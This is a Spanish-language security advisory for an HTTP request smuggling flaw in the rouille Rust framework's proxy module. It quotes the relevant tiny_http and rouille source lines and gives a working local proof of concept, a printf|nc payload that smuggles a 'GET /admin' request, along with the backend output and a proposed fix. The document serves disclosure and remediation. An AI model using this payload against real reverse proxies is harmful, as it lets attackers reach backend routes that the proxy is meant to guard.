
Aviso de seguridad: contrabando de peticiones HTTP mediante desincronización de Transfer-Encoding (rouille)
ID de CVE asignado: CVE-2026-67181
rouille::proxy::proxy reenvía la cabecera Transfer-Encoding del cliente al
backend sin cambios, pero escribe el cuerpo de la petición que tiny_http ya ha
desfragmentado (de-chunked). Nunca emite un Content-Length propio. Al backend
se le indica que el cuerpo está fragmentado (chunked) y se le entregan bytes que
no lo están, por lo que es el cliente, no rouille, quien decide dónde cree el
backend que termina el cuerpo.
URL del repositorio: https://github.com/tomaka/rouille
| Primera afectada | 0.3.3 (2016-12-03), la versión que introdujo src/proxy.rs |
| Última afectada | 3.6.2 (2023-04-24), la versión actual |
| No afectadas | 0.3.2 y anteriores, que no tienen módulo de proxy |
| Corregida en | ninguna versión corregida en el momento de redactar este documento |
src/proxy.rs es byte-idéntico entre la etiqueta 3.6.2 y el master actual.
Solo las aplicaciones que llaman a proxy::proxy o proxy::full_proxy están
afectadas.
CWE-444 (Interpretación inconsistente de peticiones HTTP).
Puntuación base CVSS 4.0: 6.3 (Media)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Un cliente remoto, no autenticado, que envía HTTP sin formato a una aplicación rouille que actúa como proxy inverso. No se necesitan credenciales ni interacción del usuario.
El impacto depende del backend. Los backends que canalizan (pipeline)
independientemente de Connection: close, y cualquier intermediario con pool de
conexiones situado entre rouille y el origen, actuarán sobre la petición
introducida de contrabando. Los backends que respetan Connection: close siguen
terminando con un cuerpo de petición diferente del que envió el cliente y del que
observó rouille.
tiny_http desfragmenta siempre que hay una cabecera Transfer-Encoding
presente y descarta Content-Length.
tiny_http-0.12.0/src/request.rs, líneas 149 a 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, líneas 218 a 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs reenvía entonces todas las cabeceras excepto Connection
y copia el cuerpo decodificado. Líneas 167 a 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
El Transfer-Encoding: chunked del cliente sobrevive en la línea 171. La línea
174 escribe el texto plano que produjo Decoder. Nunca se escribe ningún
Content-Length, por lo que el backend no tiene nada más con qué delimitar y
aplica el análisis fragmentado (chunked parsing) al texto plano elegido por el
atacante.
Paso 1. Inicie un listener sin formato en el puerto 8001 para actuar como backend y mostrar los bytes que envía rouille.
nc -l 127.0.0.1 8001 | cat -v
Paso 2. Inicie un front end rouille en el puerto 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Paso 3. Envíe una petición fragmentada correctamente cuyo cuerpo decodificado sea en sí mismo un flujo fragmentado que termina de inmediato, seguido de una segunda petición. El fragmento único tiene una longitud de 0x3d = 61 bytes.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Resultado. El listener del paso 1 muestra que rouille anuncia fragmentación y luego envía texto plano:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Un backend que respeta Transfer-Encoding: chunked lee la línea de tamaño de
fragmento 0, concluye que el cuerpo está vacío y analiza los 56 bytes
restantes como una nueva petición.
La visión del backend sobre el cuerpo de la petición difiere tanto de los bytes que envió el cliente como de los bytes que leyó rouille. Cualquier componente anterior que registre, audite o refleje el cuerpo registrará algo distinto de aquello sobre lo que actuó el backend.
Cuando el backend canaliza a pesar de Connection: close, o cuando hay un
intermediario con pool de conexiones entre rouille y el origen, los bytes
finales se convierten en una segunda petición con un método y una ruta elegidos
por el atacante.
El Content-Length del cliente también se reenvía aunque tiny_http lo ignoró,
por lo que un backend que prefiera Content-Length sobre Transfer-Encoding
sufre directamente una desincronización CL.TE.
No reenvíe cabeceras de delimitación que describan un cuerpo que rouille ya ha
decodificado. En src/proxy.rs, amplíe la omisión en la línea 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
A continuación, emita una delimitación que coincida con lo que realmente se
escribe: almacene el cuerpo en búfer y envíe un Content-Length preciso, o
vuelva a fragmentarlo y envíe usted mismo Transfer-Encoding: chunked, antes
del \r\n\r\n final de la línea 173.